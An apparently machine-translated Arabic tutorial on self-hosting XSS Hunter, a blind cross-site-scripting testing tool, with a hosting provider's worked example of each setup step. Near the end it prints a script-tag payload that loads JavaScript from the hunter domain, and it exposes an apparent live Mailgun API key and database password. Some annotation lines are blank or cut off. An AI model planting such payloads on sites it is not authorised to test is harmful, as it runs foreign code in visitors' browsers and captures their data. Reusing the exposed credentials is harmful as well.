تثبيت XSS Hunter

ننشر ترجمة مقالة تثبيت XSS Hunter ونتحقق من الإرشادات بمثالنا الخاص.



المفسد: كل شيء يعمل!






لماذا XSS Hunter؟



ربما يعرف العديد من القراء بالفعل أنه يمكنك التسجيل في https://xsshunter.com/ واستخدام xsshunter مجانًا. باختصار ، هذه هي الأداة المستخدمة في المقام الأول لعمليات البحث العمياء XSS . لماذا إذن تنشر الخدمة الخاصة بك لهذه المهمة ، أنت تسأل.



  1. كل شيء تحت السيطرة. إذا حدث خطأ ما ، يمكنك التحقق من المشكلة والتحقيق فيها.
  2. المزيد. أنت تعرف بالتأكيد ما إذا كانت الخدمة تعمل أم لا. يمكنك أن تقرر بنفسك متى توقفه. تخيل أن لديك المئات من مجموعات البيانات جاهزة للتنفيذ ، وقام مالك الخدمة بإيقاف تشغيلها فجأة. سيكون من المحزن!
  3. أنت تتحكم في البيانات. لا تحب الشركات عادةً صائدي الأخطاء الذين يستخدمون حلولًا من جهات خارجية ، لأنه في هذه الحالة لا يمكنهم التحقق مما إذا كانت البيانات قد تم حذفها أم لا.


المكافأة: بفضل المقال ، سوف تكتشف كيف يعمل كل شيء.

إذا لم تكن هذه المقالة كافية لك ، فإننا نوصي بقراءة أعمال زملائنا من Jet Infystems.






كيف تستعمل؟



يمكن العثور على دليل لاستخدام XSS Hunter على موقع XSS Hunter GitHub .



هذه بداية رائعة ، لكن هذا الدليل قديم بعض الشيء. الوضع هو نفسه مع قاعدة الشفرة ، لذلك اضطررت إلى تغيير بعض الأشياء للعمل على Ubuntu 18.04. في هذه المقالة سوف أخبرك كيف تعمل مع XSS Hunter بعد كل شيء.



الخطوات الأولى



في هذه المرحلة ، أستخدم الدليل الرسمي كأساس.



نفترض أيضًا أن لديك خادمًا يعمل وخبرة أساسية في إدارة الخادم. على الرغم من ذلك ، سأحاول التعمق أكثر. لا تتردد في طرح الأسئلة!



سنحتاج:



  • VPS أو أي مكان آخر لاستضافة الخدمة


كررنا تعليمات المؤلف باستخدام مثال VDS Timeweb: timeweb.com/ru/services/vds . علاوة على ذلك في المقالة ، نشارك ما حصلنا عليه في كل مرحلة ، في المفسدين المخفيين.


  • اسم المجال (يمكنك العثور عليه وشرائه بسهولة. على سبيل المثال ، 1 ، 2 ، 3 )


لدينا: timeweb.com/ru/services/domains .


  • Wildcard-. , , . .


:





XSS Hunter



mailgun



1. تسجيل حساب mailgun هنا . لا تنس إلغاء تحديد المربع الموضح أدناه في لقطة الشاشة.







2. اتبع التعليمات للتحقق من عنوان بريدك الإلكتروني ورقم هاتفك.



3. انتقل إلى علامة التبويب إرسال وحدد مجال البريد الخاص بك.







4. في الجزء العلوي الأيمن من الشاشة ، أضف عناوين البريد الإلكتروني التي تريد تلقي التنبيهات بها. يجب أن يكون هذا عنوانك الحقيقي والحالي. على سبيل المثال john.doe@gmail.com.



5. بعد إكمال ما سبق ، اضغط على الزر "تحديد" في الكتلة المميزة بعلامة API.



6. قم بتدوين مفتاح API ومجال البريد الإلكتروني. سوف تحتاجهم قريبا!



مجال البريد الإلكتروني هو الجزء الأخير من عنوان URL الأساسي لواجهة برمجة التطبيقات: sandboxe678 .



استخدام VDS Timeweb كمثال
: sandbox82f7e729ed934d1189bcc6bd32aaa977.







7. افتح البريد وابحث عن الرسالة من mailgun.



8. قم بتأكيد عنوان بريدك الإلكتروني بالنقر فوق الارتباط الموجود في البريد الإلكتروني.



(سيتم إرسال الخطاب إلى العنوان الذي حددته في الخطوة 4 ، أي في حالتنا ، إلى john.doe@gmail.com).



تأكد من أن كل شيء يعمل



استخدم الأمر التالي لإرسال بريد إلكتروني من الخادم الخاص بك للتأكد من تشغيل الخدمة.



استبدال:



[API_KEY] : مفتاح API الخاص بك

[API_BASE_URL] : عنوان URL الأساسي API

[YOUR_EMAIL] : بريدك الإلكتروني الحقيقي



على سبيل المثال: john.doe@gmail.com .



curl -s --user 'api:[API_KEY]' \
	https://api.mailgun.net/v3/[API_BASE_URL]/messages \
	-F from='Excited User <mailgun@[API_BASE_URL]>' \
	-F to=[YOUR_EMAIL] \
	-F subject='Hello' \
	-F text='Testing some Mailgun awesomeness!'


ملاحظة : إصدار الاتحاد الأوروبي من الخدمة له عنوان URL مختلف. سيخبرك بحث Google السريع أو التحقق من حساب Mailgun الخاص بك بالضبط بما يجب تغييره.



ملاحظة من خبير Timeweb
curl:



curl -s --user 'api:67ee2b8a922268ac335eb00262b33711-9b1bf5d3-919027d8' \https://api.mailgun.net/v3/sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org/messages \
	-F from='Excited User <mailgun@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org>' \
	-F to=r.tkach@timeweb.ru \
	-F subject='' \
	-F text='   MailGun'


:



{
  "id": "<20201029124602.1.C81E1E4029FB7DC4@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org>",
  "message": "Queued. Thank you."
}




تحقق من حسابك للتأكد من أنك تلقيت بريدًا إلكترونيًا كما في المثال أدناه. إذا لم يكن هناك بريد إلكتروني ، فأنت بحاجة إلى استكشاف الأخطاء وإصلاحها قبل المتابعة إلى الخطوة التالية.



إعداد التبعيات



قم بتثبيت الحزم المطلوبة أولاً:



# install dependencies
sudo apt-get install nginx && sudo apt-get install postgresql postgresql-contrib


استخدام VDS Timeweb كمثال
root@372526-twosa:~#  apt-get install nginx && apt-get install postgresql postgresql-contrib




بعد ذلك ، قم بإعداد مستخدم postgres وقاعدة بيانات XSS Hunter. غيّر EXAMPLE_PASSWORD إلى كلمة مرور أكثر أمانًا. أوصي بشدة باستخدام مدير كلمات المرور!



sudo -i -u postgres
psql template1
CREATE USER xsshunter WITH PASSWORD 'EXAMPLE_PASSWORD';
CREATE DATABASE xsshunter;
\q
exit


استخدام VDS Timeweb كمثال
root@372526-twosa:~# sudo -i -u postgres
postgres@372526-twosa:~$ psql template1
psql (10.14 (Ubuntu 10.14-0ubuntu0.18.04.1))
Type "help" for help.

template1=# create user xsshunter with password '6fhQg18YFrna2LbX2EDWHfLoewy32i';
CREATE ROLE
template1=# create database xsshunter;
CREATE DATABASE
template1=# \q




تركيب الخدمة



أولاً ، نقوم باستنساخ المستودع:



git clone https://github.com/mandatoryprogrammer/xsshunter
cd xsshunter


استخدام VDS Timeweb كمثال
root@372526-twosa:~# git clone https://github.com/mandatoryprogrammer/xsshunter
root@372526-twosa:~# cd xsshunter




يرجى ملاحظة : Python2 مطلوب! لا يدعم المستودع Python3.



لتشغيل سكربت التكوين ، نحتاج إلى إضافة تبعية إضافية:



# install yaml support for python
sudo apt-get install pyyaml


استخدام VDS Timeweb كمثال
root@372526-twosa:~/xsshunter# apt install python-pip
root@372526-twosa:~/xsshunter# pip install pyyaml




بفضل المستخدم xYantix لتوفير حل عملي في طلب السحب هذا .



إعداد الخدمة



حسنًا ، لنبدأ! نحن جاهزون لتشغيل سكربت التكوين.



# generate yaml config file
./generate_config.py


استخدام VDS Timeweb كمثال
root@372526-twosa:~/xsshunter# ./generate_config.py




سأريك العملية خطوة بخطوة. لمشاهدة مثال على الإخراج ، انظر المثال أدناه. لقد أضفت أرقامًا لسهولة التنقل. خلاف ذلك ، يجب أن يبدو كل شيء كما هو.



1. أدخل اسم المجال الخاص بك. لقد استخدمت mydomain.com كمثال.



استخدام VDS Timeweb كمثال
372526-twosa.tmweb.ru.



2. أدخل مفتاح واجهة برمجة تطبيقات Mailgun الذي وجدته وحفظته مسبقًا.



3. أدخل اسم مجال Mailgun الخاص بك ، والذي كتبته أيضًا مسبقًا. (ما يبدأ برمل).



4. أعتقد أنه يمكن أن يكون أي شيء @ [Mailgun domain name] ، لكني تمسكت بالتسمية القياسية من mailgun نظرًا لأن الاسم لا يهم هنا حقًا. أقترح استخدام: mailgun @ [Mailgun domain name]. تذكر استبدال [Mailgun domain name] بآخر خاص بك.



5. هذا لجعل الناس يبلغون عن إساءة استخدام الأداة المشتبه بها. يجب الإشارة إلى بريدك الإلكتروني الحقيقي والحالي هنا. على سبيل المثال: john.doe@gmail.com .



6. إذا كنت قد اتبعت جميع الخطوات الواردة في هذه المقالة ، فما عليك سوى إدخال xsshunter.



7. أدخل كلمة المرور التي اخترتها عند إنشاء قاعدة البيانات. مدرج أعلاه كـ EXAMPLE_PASSWORD . استبدل النص [YOUR_REALLY_SECURE_PASSWORD] بكلمة المرور EXAMPLE_PASSWORD .



8. كما في الخطوة رقم 6 ، إذا اتبعت هذا البرنامج التعليمي ، فقط أدخل xsshunter.



وجه الفتاة! اكتمل الإعداد!



إذا احتجت في أي وقت إلى تغيير هذه القيم ، فيمكنك تحريرها مباشرة في ملف config.yaml.



__   __ _____ _____   _    _             _
\ \ / // ____/ ____| | |  | |           | |
 \ V /| (___| (___   | |__| |_   _ _ __ | |_ ___ _ __
  > <  \___ \\\\___ \  |  __  | | | | '_ \| __/ _ \ '__|
 / . \ ____) |___) | | |  | | |_| | | | | ||  __/ |
/_/ \_\_____/_____/  |_|  |_|\__,_|_| |_|\__\___|_|


	                                           Setup Utility

	(1)
   What is the base domain name you will be using?
	(ex. localhost, www.example.com)
	Domain? mydomain.com

	Great! Now let's setup your Mailgun account to send XSS alerts to.

	(2)
	Enter your API key:
	(ex. key-8da843ff65205a61374b09b81ed0fa35)
	Mailgun API key: 92740xxxxxxxxxxxxxxxxxxxxxxxxxxx-65bxxx58-8ffxxxxx

	(3)
	What is your Mailgun domain?
	(ex. example.com)
	Mailgun domain: sandboxe6784d1f69d9486484bb8db10ab02380.mailgun.org

	(4)
   What email address is sending the payload fire emails?:
	(ex. no-reply@example.com)
	Sending email address: 
mailgun@sandboxe6784d1f69d9486484bb8db10ab02380.mailgun.org

	(5)
   Where should abuse/contact emails go?:
	(ex. yourpersonal@gmail.com)
	Abuse/Contact email: xsshunter@mydomain.com

        (6)
	What postgres user is this service using?
	(ex. xsshunter)
	Postgres username: xsshunter

	(7)
	What is the postgres user's password?
	(ex. @!$%@^%UOFGJOEJG$)
	Postgres password: [YOUR_REALLY_SECURE_PASSWORD]

	(8)
	What is the postgres user's DB?
	(ex. xsshunter)
	Postgres DB: xsshunter

	Generating cookie secret...
	Minting new nginx configuration file...

	Setup complete! Please now copy the 'default' file to 
/etc/nginx/sites-enabled/default
	This can be done by running the following:
	sudo cp default /etc/nginx/sites-enabled/default

	Also, please ensure your wildcard SSL certificate and key are available at 
the following locations:
	/etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
	/etc/nginx/ssl/mydomain.com.key; # Wildcard SSL key

	Good luck hunting for XSS!


استخدام VDS Timeweb كمثال
  	Setup Utility

What is the base domain name you will be using?
(ex. localhost, www.example.com)
Domain? 372526-twosa.tmweb.ru
Great! Now let's setup your Mailgun account to send XSS alerts to.

Enter your API key:
(ex. key-8da843ff65205a61374b09b81ed0fa35)
Mailgun API key: 67ee**************************-9b*******-919*****

What is your Mailgun domain?
(ex. example.com)
Mailgun domain: sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org

What email address is sending the payload fire emails?:
(ex. no-reply@example.com)
Sending email address: mailgun@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org

Where should abuse/contact emails go?:
(ex. yourpersonal@gmail.com)
Abuse/Contact email: r.tkach@timeweb.ru


What postgres user is this service using?
(ex. xsshunter)
Postgres username: xsshunter

What is the postgres user's password?
(ex. @!$%@^%UOFGJOEJG$)
Postgres password: [EXAMPLE_PASSWORD]

What is the postgres user's DB?
(ex. xsshunter)
Postgres DB: xsshunter

Generating cookie secret...
Minting new nginx configuration file...

Setup complete! Please now copy the 'default' file to /etc/nginx/sites-enabled/default
This can be done by running the following:
sudo cp default /etc/nginx/sites-enabled/default

Also, please ensure your wildcard SSL certificate and key are available at the following locations:
/etc/nginx/ssl/xsshunter.timeweb.ru.crt; # Wildcard SSL certificate
/etc/nginx/ssl/xsshunter.timeweb.ru.key; # Wildcard SSL key

Good luck hunting for XSS!
                                                    	-mandatory




يجب أن يكون لديك الآن ملفان جديدان في مجلد xsshunter الخاص بك:



  • config.yaml (يحتوي على مفاتيح API وبيانات الاعتماد)
  • الافتراضي (يحتوي على تكوين nginx)


تكوين NGINX



قم بتغيير موقع شهادة SSL



إذا كنت تستخدم Let's Encrypt مثلي ، فأنت بحاجة إلى تعديل الإعداد الافتراضي .



لكي يعمل التكوين مع الإعدادات الافتراضية لـ Let's Encrypt ، يجب علينا التعليق على جميع الإدخالات:



/etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
/etc/nginx/ssl/mydomain.com.key; # Wildcard SSL key


واستبدل بـ



ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem ; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # managed by Certbot


ملاحظات:



1. استبدل mydomain.com باسم المجال الخاص بك!



2. كل شيء بعد # رمز التعليقات. يمكنك حذفها إذا أردت. يجب أن يبدو



ملفك الافتراضي الآن كما يلي:



server {
    # Redirect HTTP to www
    listen 80;
    server_name mydomain.com;
    location / {
        rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
    }
}

server {
    # Redirect payloads to HTTPS
    listen 80;
    server_name *.mydomain.com;
    proxy_set_header X-Forwarded-For $remote_addr;

    return 307 https://$host$request_uri;
    client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
    # Redirect HTTPS to www
    listen 443;
    ssl on;

    # New conf
    ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # 
managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # 
managed by Certbot

    # Original conf
    #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
    #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL 
certificate key

    server_name mydomain.com;
    location / {
        rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
    }
}

server {
    # API proxy
    listen 443;
    ssl on;

    # New conf
    ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # 
managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # 
managed by Certbot

    # Original conf
    #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
    #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL 
certificate key

    server_name *.mydomain.com;
    access_log /var/log/nginx/mydomain.com.vhost.access.log;
    error_log /var/log/nginx/mydomain.com.vhost.error.log;

    client_max_body_size 500M;

    location / {
        proxy_pass  http://localhost:8888;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }
}

server {
    # Redirect api to HTTPS
    listen 80;
    server_name api.mydomain.com; # Subdomain for API server
    proxy_set_header X-Forwarded-For $remote_addr;

    return 307 https://api.mydomain.com$request_uri;
    client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
   # Redirect www to HTTPS
   listen 80;
   server_name www.mydomain.com;
   location / {
       rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
   }
}

server {
   # GUI proxy
   listen 443;
   server_name www.mydomain.com;
   client_max_body_size 500M;
   ssl on;

   # New conf
   ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # 
managed by Certbot
   ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # 
managed by Certbot

   # Original conf
   #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
   #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL 
certificate key


   location / {
       proxy_pass  http://localhost:1234;
       proxy_set_header Host $host;
   }
}


استخدام VDS Timeweb كمثال
server {
	# Redirect HTTP to www
	listen 80;
	server_name 372526-twosa.tmweb.ru;
	location / {
    	rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
	}
}

server {
	# Redirect payloads to HTTPS
	listen 80;
	server_name *.372526-twosa.tmweb.ru;
	proxy_set_header X-Forwarded-For $remote_addr;

	return 307 https://$host$request_uri;
	client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
	# Redirect HTTPS to www
	listen 443;
	ssl on;
    
	ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
	ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key
    
	server_name 372526-twosa.tmweb.ru;
	location / {
    	rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
	}
}

server {
	# API proxy
	listen 443;
	ssl on;
    
	ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
	ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key

	server_name *.372526-twosa.tmweb.ru;
	access_log /var/log/nginx/372526-twosa.tmweb.ru.vhost.access.log;
	error_log /var/log/nginx/372526-twosa.tmweb.ru.vhost.error.log;

	client_max_body_size 500M;

	location / {#
    	proxy_pass  http://localhost:8888;
    	proxy_set_header Host $host;
    	proxy_set_header X-Forwarded-For $remote_addr;
	}
}

server {
	# Redirect api to HTTPS
	listen 80;
	server_name api.372526-twosa.tmweb.ru; # Subdomain for API server
	proxy_set_header X-Forwarded-For $remote_addr;

	return 307 https://api.372526-twosa.tmweb.ru$request_uri;
	client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
   # Redirect www to HTTPS
   listen 80;
   server_name www.372526-twosa.tmweb.ru;
   location / {
   	rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
   }
}

server {
   # GUI proxy
   listen 443;
   server_name www.372526-twosa.tmweb.ru;
   client_max_body_size 500M;
   ssl on;
   
	ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
	ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key

   location / {
   	proxy_pass  http://localhost:1234;
   	proxy_set_header Host $host;
   }
}




دعنا نطبق تكوين NGINX



الخطوة التالية هي نقل الملف إلى مجلد nginx. من الممارسات الجيدة أن يكون لديك ملفات التكوين في المجلد ... / sites-available ثم إنشاء روابط رمزية للتكوينات التي تستخدمها لـ ... / sites-enabled . سنفعل ذلك بالضبط.



أقوم بتسمية ملف التكوين بحيث يتضح من الاسم الخدمة التي ينتمي إليها.



هيريس كيفية القيام بذلك!



# move file and give proper name
cp xsshunter/default /etc/nginx/sites-available/xsshunter-mydomain.com

# symlink the file to sites-enabled to make it active
ln -s /etc/nginx/sites-available/xsshunter-mydomain.com 
/etc/nginx/sites-enabled/xsshunter-mydomain.com

# test for errors in the configuration
sudo nginx -t

# if no errors, restart nginx for changes to take effect
sudo systemctl restart nginx


استخدام VDS Timeweb كمثال
root@372526-twosa:~/xsshunter# cp default /etc/nginx/sites-available/372526-twosa.tmweb.ru
root@372526-twosa:~/xsshunter# ln /etc/nginx/sites-available/372526-twosa.tmweb.ru /etc/nginx/sites-enabled/372526-twosa.tmweb.ru
root@372526-twosa:~/xsshunter# nginx -t
root@372526-twosa:~/xsshunter# systemctl restart nginx




إذا لم تبدأ تشغيل nginx من قبل ، فيجب أن يكون الأمر الأخير:



sudo systemctl start nginx


تثبيت خادم API



أولاً ، يحتاج خادم API أيضًا إلى بعض التبعيات.



يقول الدليل لتشغيل الأمر التالي:



sudo apt-get install python-virtualenv python-dev libpq-dev libffi-dev


استخدام VDS Timeweb كمثال
root@372526-twosa:~/xsshunter# apt-get install python-virtualenv python-dev libpq-dev libffi-dev


, python-virtualenv pip.




حاول مرة أخري!



للأسف لم أتمكن من تشغيل الأمر virtualenv ، لذلك قمت بتثبيت خادم API مع



pip install virtualenv


تم حل المشكلة ، تمكنت من الاستمرار!

دعنا نذهب إلى الدليل المطلوب.

بمجرد دخولك إلى الدليل الصحيح ، تحتاج إلى إنشاء بيئة افتراضية.

هيريس كيفية القيام بذلك:



# change folder - you know that already!
cd xsshunter/api

# find your Python2 executable path
which python2

# create a python2 virtual environment in the env folder
virtualenv -p MY/EXECUTABLE/PATH env


استخدام VDS Timeweb كمثال
root@372526-twosa:~/xsshunter# cd xsshunter/api
root@372526-twosa:~/xsshunter/api# which python2
/usr/bin/python2
root@372526-twosa:~/xsshunter/api# virtualenv -p /usr/bin/python2 env
Running virtualenv with interpreter /usr/bin/python2
New python executable in /root/xsshunter/api/env/bin/python2
Also creating executable in /root/xsshunter/api/env/bin/python
Installing setuptools, pkg_resources, pip, wheel...done.




تأكد من تغيير MY / EXECUTABLE / PATH في الأمر الأخير إلى إخراج أمر python2 . بالنسبة لي ، هذا هو: / usr / bin / python2 .



بعد إنشاء البيئة الافتراضية ، قم بتنشيطها باستخدام الأمر التالي. يجب أن تلاحظ تغييرًا في سطر الأوامر.



# activate environment
. env/bin/activate


استخدام VDS Timeweb كمثال
root@372526-twosa:~/xsshunter/api# . env/bin/activate
(env) root@372526-twosa:~/xsshunter/api# ls
apiserver.py  env  logs  models  probe.js  requirements.txt  templates








هناك أيضًا مشكلات متعلقة بالتبعية حيث لا يتم صيانة المستودع بشكل نشط.



وبالتالي ، يجب علينا إجراء التغييرات التالية على متطلبات الملف. txt :



1. psycopg2 2.6.1 == => psycopg2 == 2.7.3.1

2. bcrypt 2.0.0 == => bcrypt == 3.1.7



استخدم محرر النصوص المفضل لديك لهذا. أنا أستخدم VIM.



بمجرد الانتهاء من ذلك ، حان الوقت لتثبيت جميع التبعيات وبدء تشغيل خادم API للتأكد من أن كل شيء يعمل كما هو متوقع. لنجرب!



# install requirements
pip install -r requirements.txt

# run the API server
./apiserver.py


استخدام VDS Timeweb كمثال
(env) root@372526-twosa:~/xsshunter/api# pip install -r requirements.txt
(env) root@372526-twosa:~/xsshunter/api# ./apiserver.py




يجب أن يخرج أمر التثبيت البيانات. يجب ألا يخرج خادم api أي شيء. لا يوجد انسحاب خبر جيد!



نريد إجراء تغيير آخر قبل أن ننتهي من تكوين خادم api. في البداية يستمع إلى الواجهة 0.0.0.0 ، لكننا قمنا بعمل وكيل من خلال NGINX. هذا يعني أنه لا معنى له. سنقوم بتهيئة الخادم للاستماع على المضيف المحلي . هذا سوف يتجنب الارتباك والمشاكل.



باستخدام محرر نصوص ، قم بتغيير السطر 684 في apiserver.py من

app.listen (8888) إلى app.listen (8888، "localhost") .



بفضل swarley7 لمشاركة الحل في طلب السحب هذا .



أخيرًا: خطأ حيث لا تعمل التحميلات كما هو متوقع في حالة عدم وجود مجلد / uploads. يتم مشاركة هذا بواسطة sampsonc في طلب السحب هذا .



دعونا ننشئ مجلد ونستمر!



# create uploads folder
mkdir xsshunter/api/uploads


تثبيت خادم واجهة المستخدم الرسومية



هذه العملية تشبه إلى حد بعيد العملية على خادم api ، إلا أنها أبسط.



انتقل إلى مجلد واجهة المستخدم الرسومية ، وأنشئ بيئة افتراضية ، وقم بتنشيطها وتثبيت التبعيات.



# change folder - you know that already!
cd xsshunter/gui

# find your Python2 executable path
which python2

# create a python2 virtual environment in the env folder
virtualenv -p MY/EXECUTABLE/PATH env

# activate environment
. env/bin/activate

# install requirements
pip install -r requirements.txt

# run the GUI server
./guiserver.py


استخدام VDS Timeweb كمثال
root@372526-twosa:~/xsshunter# cd xsshunter/gui
root@372526-twosa:~/xsshunter/gui# which python2
/usr/bin/python2
(env) root@372526-twosa:~/xsshunter/gui# virtualenv -p /usr/bin/python2 env
(env) root@372526-twosa:~/xsshunter/gui# . env/bin/activate
(env) root@372526-twosa:~/xsshunter/gui# pip install -r requirements.txt
(env) root@372526-twosa:~/xsshunter/gui# ./guiserver.py




مرة أخرى ، كما هو الحال عند تثبيت خادم API:



تأكد من تغيير MY / EXECUTABLE / PATH في الأمر الأخير إلى python2. بالنسبة لي هذا: / usr / bin / python2 .



هنا أيضًا ، يعد نقص الإخراج عند التشغيل ./guiserver خبرًا جيدًا.



أيضًا ، تمامًا كما هو الحال مع خادم API ، نريد توكيل جميع الاتصالات من خلال NGINX ، لذلك لا يحتاج الخادم إلى الاستماع على الواجهة 0.0.0.0 .



باستخدام محرر نصوص ، قم بتغيير السطر 70 في guiserver.py من

app.listen (1234) إلى app.listen (1234 ، "localhost").



اللمسات الأخيرة



الخطوة الأولى هي بدء تشغيل كلا الخادمين. يقترح منشور المدونة الأصلي استخدام tmux. إنه ليس مثاليًا للإنتاج ، لكننا قراصنة ، لذلك دعونا نفعل ذلك على أي حال! إذا كنت تريد خدمة أكثر استقرارًا ، فسأترك ذلك لك كتمرين.



إليك كيفية الحصول عليه وتشغيله باستخدام tmux. إذا كنت بحاجة إلى مساعدة ، فهناك ورقة غش رائعة هنا !



# start a session
tmux session -new xsshunter

# change to api directory
cd xsshunter/api

#run api server
./apiserver

# open new pane
[ctrl]+[b] -> [c]

# change to gui directory
cd xsshunter/gui

# run gui server
./guiserver

# detach from session
[ctrl]+[b] -> [d]

# extra: if you want to open the session again
tmux attach-session -t xsshunter


وآخر واحد!



افتح المجال الخاص بك ومعرفة ما إذا كانت صفحة xsshunter ترحب بك!

يجب أن تبدو نفس الصفحة الأولى من xsshunter.com .



حدث؟ تهانينا!

حان الوقت لصب البيرة من الكأس!







تحقق من الأداء
(https://www.372526-twosa.tmweb.ru/signup) .







www.372526-twosa.tmweb.ru/app Payload - . :



"><script src=https://tw.372526-twosa.tmweb.ru></script>


html- .







: js , , js_callback .







XSS Hunter:







:







It works! !



: www.372526-twosa.tmweb.ru.



إذا لم تكن قد شاهدت Entourage حتى الآن ، يمكنك البدء الآن!



خاتمة



لا أحب تشغيل شيء ما كجذر أو كمستخدم عادي ، لذا لتشغيله كـ www-data قمت بعمل النص التالي لتسهيل الأمر قليلاً.



استبدل apiserver.py بـ guiserver.py بحيث يكون لديك برنامج نصي واحد لكل خادم. سأكون سعيدًا إذا استخدمت هذه التقنية.



برنامج شل النصي لاستخدام البيئة الافتراضية وبدء تشغيل خادم API:



#!/bin/sh
. env/bin/activate && python apiserver.py


تشغيل البرنامج النصي كـ www-data لأسباب أمنية:



# execute script above as www-data user
sudo -u www-data ./run.sh


منجز!



شكرا للاهتمام. أتمنى أن تكون مفيدة!



All Articles